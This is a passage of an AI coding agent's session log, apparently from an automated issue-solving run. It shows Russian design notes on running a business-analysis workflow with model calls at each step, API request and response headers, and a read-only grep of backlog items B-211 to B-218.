\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.**\\n\u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0451, \u0447\u0442\u043e \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b,\\n\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434 1 \u0438 2\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u044b: \u0432 \u0441\u0440\u0435\u0434\u0435 1 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043a\u043e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e API \u043d\u0435\u0442, \u0438\\nrunner \u0432\u0435\u0434\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u043f\u0438\u0448\u0435\u0442 \u0430\u0433\u0435\u043d\u0442.\\n\\n**\u0427\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435 \u0434\u0430\u0451\u0442.** \u0411\u0410 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u0441\u0430\u043c\\n\u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435,\\n\u0431\u0435\u0437 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439. \u042d\u0442\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u0430 \u043d\u0435 \u0434\u0435\u0444\u0435\u043a\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.** \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\\n\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n\u043f\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0443 runner \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4\\n\\n**\u0421\u0443\u0442\u044c.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430. \u041e\u043d\u0430 \u0441\u0430\u043c\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435, \u0436\u0434\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0438 \u0445\u0440\u0430\u043d\u0438\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\\n\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e. \u042d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435\\n[ADR-019, \u0441\u0440\u0435\u0434\u0430 4](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96):\\n\\n## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n\\n- **\u0417\u0430 \u00ab\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435\u00bb.** Anthropic: workflow \u0434\u0430\u044e\u0442\\n  \u00abpredictability and consistency for well-defined tasks\u00bb\\n  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n  HumanLayer, \u0444\u0430\u043a\u0442\u043e\u0440 8 \u2014 \u00abOwn your control flow\u00bb\\n  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\\n  LangChain: \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u2014 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 workflow \u0438\\n  \u0430\u0433\u0435\u043d\u0442\u043e\u0432 ([How to think about agent frameworks](https://www.langchain.com/blog/how-to-think-about-agent-frameworks)).\\n  BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u2014 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430.\",\n[2026-09-29T07:51:36.472Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:36.472Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:36.472Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:36.472Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:51:36.472Z] [INFO]   }\n[2026-09-29T07:51:36.472Z] [INFO] }\n[2026-09-29T07:51:36.510Z] [STDOUT] [log_d51dfe] sending request {\n[2026-09-29T07:51:36.513Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:36.517Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:36.522Z] [STDOUT]   options: {\n[2026-09-29T07:51:36.526Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:36.532Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:36.544Z] [STDOUT]     body: {\n[2026-09-29T07:51:36.547Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:36.552Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:36.556Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:36.558Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:36.561Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:36.565Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:36.568Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:36.571Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:36.573Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:36.577Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:36.580Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:36.584Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:36.586Z] [STDOUT]     },\n[2026-09-29T07:51:36.588Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:36.590Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:36.594Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:36.597Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:36.600Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:36.603Z] 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charset=utf-8\",\n[2026-09-29T07:51:37.504Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:37 GMT\",\n[2026-09-29T07:51:37.508Z] [STDOUT]     \"request-id\": \"req_011CfXNEACCPuEUZuhKoXKHw\",\n[2026-09-29T07:51:37.510Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:37.514Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:37.530Z] [STDOUT]     traceresponse: \"00-8bb82f1e58f72cbc4bdb690aea2b039f-6b3f4c02882ec914-01\",\n[2026-09-29T07:51:37.536Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:37.541Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:37.547Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:37.551Z] [STDOUT]   },\n[2026-09-29T07:51:37.554Z] [STDOUT]   durationMs: 799,\n[2026-09-29T07:51:37.556Z] [STDOUT] }\n[2026-09-29T07:51:37.560Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:37.565Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:37 GMT\",\n[2026-09-29T07:51:37.570Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:37.574Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:37.580Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:37.587Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:37.592Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:37.596Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:37.602Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:37.608Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:37.611Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:37.614Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:37.621Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:37.630Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:37.638Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:37.648Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:37.658Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:37.663Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:37.667Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:37.669Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:37.672Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:37.677Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:37.680Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:37.684Z] [STDOUT]   \"request-id\": \"req_011CfXNEACCPuEUZuhKoXKHw\",\n[2026-09-29T07:51:37.686Z] [STDOUT]   \"traceresponse\": \"00-8bb82f1e58f72cbc4bdb690aea2b039f-6b3f4c02882ec914-01\",\n[2026-09-29T07:51:37.689Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:37.692Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:37.696Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:37.698Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:37.703Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:37.706Z] [STDOUT]   \"cf-ray\": \"a42967553d1a01ff-CDG\",\n[2026-09-29T07:51:37.709Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:37.714Z] [STDOUT] [log_d51dfe] response parsed {\n[2026-09-29T07:51:37.716Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:37.723Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:37.728Z] [STDOUT]   body: X {\n[2026-09-29T07:51:37.731Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:37.735Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:37.738Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:37.742Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:37.749Z] [STDOUT]     },\n[2026-09-29T07:51:37.753Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:37.759Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:37.762Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:37.765Z] [STDOUT]   },\n[2026-09-29T07:51:37.769Z] [STDOUT]   durationMs: 800,\n[2026-09-29T07:51:37.773Z] [STDOUT] }\n[2026-09-29T07:51:37.819Z] [INFO] {\n[2026-09-29T07:51:37.819Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:37.819Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:37.819Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:37.819Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:37.819Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:37.819Z] [INFO]   \"uuid\": \"bd2387e3-e366-4877-af81-10b7f3e5a8ae\"\n[2026-09-29T07:51:37.819Z] [INFO] }\n[2026-09-29T07:51:39.408Z] [INFO] {\n[2026-09-29T07:51:39.408Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:39.408Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:39.408Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:51:39.408Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:39.408Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:39.408Z] [INFO]   \"uuid\": \"81047a6a-63e8-44eb-8ae9-5aa2ab048e19\"\n[2026-09-29T07:51:39.408Z] [INFO] }\n[2026-09-29T07:51:40.524Z] [INFO] {\n[2026-09-29T07:51:40.524Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:40.524Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:40.524Z] [INFO]   \"estimated_tokens\": 415,\n[2026-09-29T07:51:40.524Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:40.524Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:40.524Z] [INFO]   \"uuid\": \"1eebeb85-bd43-46ea-a5de-f6eebe7597d6\"\n[2026-09-29T07:51:40.524Z] [INFO] }\n[2026-09-29T07:51:40.538Z] [INFO] {\n[2026-09-29T07:51:40.538Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:40.538Z] [INFO]   \"message\": {\n[2026-09-29T07:51:40.538Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:40.538Z] [INFO]     \"id\": \"msg_011CfXNEAnfDq7MnEwbV5Fv1\",\n[2026-09-29T07:51:40.538Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:40.538Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:40.538Z] [INFO]     \"content\": [\n[2026-09-29T07:51:40.538Z] [INFO]       {\n[2026-09-29T07:51:40.538Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:51:40.538Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:51:40.538Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:51:40.538Z] [INFO]     ],\n[2026-09-29T07:51:40.538Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:40.538Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:40.538Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:40.538Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:40.538Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:40.538Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:40.538Z] [INFO]       \"cache_creation_input_tokens\": 1030,\n[2026-09-29T07:51:40.538Z] [INFO]       \"cache_read_input_tokens\": 102553,\n[2026-09-29T07:51:40.538Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:40.538Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:40.538Z] [INFO]         \"ephemeral_1h_input_tokens\": 1030\n[2026-09-29T07:51:40.538Z] [INFO]       },\n[2026-09-29T07:51:40.538Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:40.538Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:40.538Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:40.538Z] [INFO]     },\n[2026-09-29T07:51:40.538Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:40.538Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:40.538Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:40.538Z] [INFO]   },\n[2026-09-29T07:51:40.538Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:40.538Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:40.538Z] [INFO]   \"uuid\": \"f2676653-22af-4898-8015-418afa5f609b\",\n[2026-09-29T07:51:40.538Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:40.522Z\",\n[2026-09-29T07:51:40.538Z] [INFO]   \"request_id\": \"req_011CfXNEACCPuEUZuhKoXKHw\"\n[2026-09-29T07:51:40.538Z] [INFO] }\n[2026-09-29T07:51:41.323Z] [INFO] {\n[2026-09-29T07:51:41.323Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:41.323Z] [INFO]   \"message\": {\n[2026-09-29T07:51:41.323Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:41.323Z] [INFO]     \"id\": \"msg_011CfXNEAnfDq7MnEwbV5Fv1\",\n[2026-09-29T07:51:41.323Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:41.323Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:41.323Z] [INFO]     \"content\": [\n[2026-09-29T07:51:41.323Z] [INFO]       {\n[2026-09-29T07:51:41.323Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:41.323Z] [INFO]         \"id\": \"toolu_01KscmdYgUgrfxj1qY7ARBbk\",\n[2026-09-29T07:51:41.323Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:41.323Z] [INFO]         \"input\": {\n[2026-09-29T07:51:41.323Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n \\\"B-21[1-8]\\\" ops/backlog.md | cut -c1-330 | head -10\",\n[2026-09-29T07:51:41.323Z] [INFO]           \"description\": \"Read backlog items B-211 to B-218\"\n[2026-09-29T07:51:41.323Z] [INFO]         },\n[2026-09-29T07:51:41.323Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:41.323Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:41.323Z] [INFO]         }\n[2026-09-29T07:51:41.323Z] [INFO]       }\n[2026-09-29T07:51:41.323Z] [INFO]     ],\n[2026-09-29T07:51:41.323Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:41.323Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:41.323Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:41.323Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:41.323Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:41.323Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:41.323Z] [INFO]       \"cache_creation_input_tokens\": 1030,\n[2026-09-29T07:51:41.323Z] [INFO]       \"cache_read_input_tokens\": 102553,\n[2026-09-29T07:51:41.323Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:41.323Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:41.323Z] [INFO]         \"ephemeral_1h_input_tokens\": 1030\n[2026-09-29T07:51:41.323Z] [INFO]       },\n[2026-09-29T07:51:41.323Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:41.323Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:41.323Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:41.323Z] [INFO]     },\n[2026-09-29T07:51:41.323Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:41.323Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:41.323Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:41.323Z] [INFO]   },\n[2026-09-29T07:51:41.323Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:41.323Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:41.323Z] [INFO]   \"uuid\": \"2f102c85-a798-4e3d-bcfd-95930162363e\",\n[2026-09-29T07:51:41.323Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:41.318Z\",\n[2026-09-29T07:51:41.323Z] [INFO]   \"request_id\": \"req_011CfXNEACCPuEUZuhKoXKHw\",\n[2026-09-29T07:51:41.323Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:41.323Z] [INFO]     \"toolu_01KscmdYgUgrfxj1qY7ARBbk\": {\n[2026-09-29T07:51:41.323Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n \\\"B-21[1-8]\\\" ops/backlog.md | cut -c1-330 | head -10\",\n[2026-09-29T07:51:41.323Z] [INFO]       \"description\": \"Read backlog items B-211 to B-218\"\n[2026-09-29T07:51:41.323Z] [INFO]     }\n[2026-09-29T07:51:41.323Z] [INFO]   }\n[2026-09-29T07:51:41.323Z] [INFO] }\n[2026-09-29T07:51:42.591Z] [INFO] {\n[2026-09-29T07:51:42.591Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:42.591Z] [INFO]   \"message\": {\n[2026-09-29T07:51:42.591Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:42.591Z] [INFO]     \"content\": [\n[2026-09-29T07:51:42.591Z] [INFO]       {\n[2026-09-29T07:51:42.591Z] [INFO]         \"tool_use_id\": \"toolu_01KscmdYgUgrfxj1qY7ARBbk\",\n[2026-09-29T07:51:42.591Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:42.591Z] [INFO]         \"content\": \"692:| **B-211** | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-28](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/ma\\n693:| **B-212** | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0447\u0435\u0441\u0442\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-29, \u0413-30](https://git\\n694:| **B-213** | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0413-31, \u0413-32, \u0413-34](http\\n695:| **B-214** | \u0420\u0435\u0448\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 `EP-R7` | null | - | TODO | - (planned) | [issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639), [\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, 